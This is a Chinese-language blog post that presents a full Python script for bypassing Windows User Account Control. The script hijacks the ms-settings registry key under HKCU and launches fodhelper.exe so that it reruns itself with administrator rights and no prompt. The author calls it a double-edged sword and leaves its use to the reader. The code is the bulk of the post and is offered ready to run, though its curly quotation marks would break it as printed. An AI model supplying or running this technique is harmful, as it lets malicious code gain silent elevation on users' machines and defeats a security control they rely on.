很多時候我們不希望我們的軟件彈出UAC提示,這個時候我們可以通過注冊表的方法去解決。這其實已經不在是一個安全的編程了,它變成了一把雙刃劍。
當然我們只是討論這種問題該怎么解決。具體用在什么方面那是你的問題咯!
通過下面的代碼我們可以輕松繞過UAC:
# -*- coding: utf-8 -*-
“”“
Created on Mon Jan 8 09:09:51 2018
”“”
from __future__ import print_function
import os
import sys
import ctypes
if sys.version_info[0] == 3:
import winreg as winreg
else:
import _winreg as winreg
CMD = r“C:\Windows\System32\cmd.exe”
FOD_HELPER = r‘C:\Windows\System32\fodhelper.exe’
PYTHON_CMD = “python”
REG_PATH = ‘Software\Classes\ms-settings\shell\open\command’
DELEGATE_EXEC_REG_KEY = ‘DelegateExecute’
def is_admin():
‘’‘
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
’‘’
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def create_reg_key(key, value):
‘’‘
Creates a reg key
’‘’
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def bypass_uac(cmd):
‘’‘
Tries to bypass the UAC
’‘’
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, ‘’)
create_reg_key(None, cmd)
except WindowsError:
raise
def execute():
if not is_admin():
print(‘[?。?The script is NOT running with administrative privileges’)
print(‘[+] Trying to bypass the UAC’)
try:
current_dir = __file__
cmd = ‘{} /k {} {}’.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
#這里添加我們需要管理員權限的代碼
print(‘[+] The script is running with administrative privileges!’)
if __name__ == ‘__main__’:
execute()
---------------------
其實我們這個代碼這里主要是往注冊表中添加了這兩項
-
python
+關注
關注
56文章
4807瀏覽量
85040
發布評論請先 登錄
相關推薦
請問UAC2.0和UAC3.0有什么區別?
Python Editor如何輕松玩轉MicroPython?
基于Linux內核的Rockchip USB Gadget UAC開發資料分享
介紹Python 3 的功能 讓人輕松地從Python 2遷移到Python 3
win7如何關閉uac,詳細步驟的介紹
如何通過python輕松處理大文件
Android App開發新選擇:使用Chaquopy輕松結合Python
![Android App開發新選擇:使用Chaquopy<b class='flag-5'>輕松</b>結合<b class='flag-5'>Python</b>](https://file1.elecfans.com/web2/M00/82/35/wKgZomRGTNCAHKAVAABMIDhLYlI149.png)
使用Teachable Machine和Python輕松進行對象檢測
![使用Teachable Machine和<b class='flag-5'>Python</b><b class='flag-5'>輕松</b>進行對象檢測](https://file.elecfans.com/web1/M00/D9/4E/pIYBAF_1ac2Ac0EEAABDkS1IP1s689.png)
評論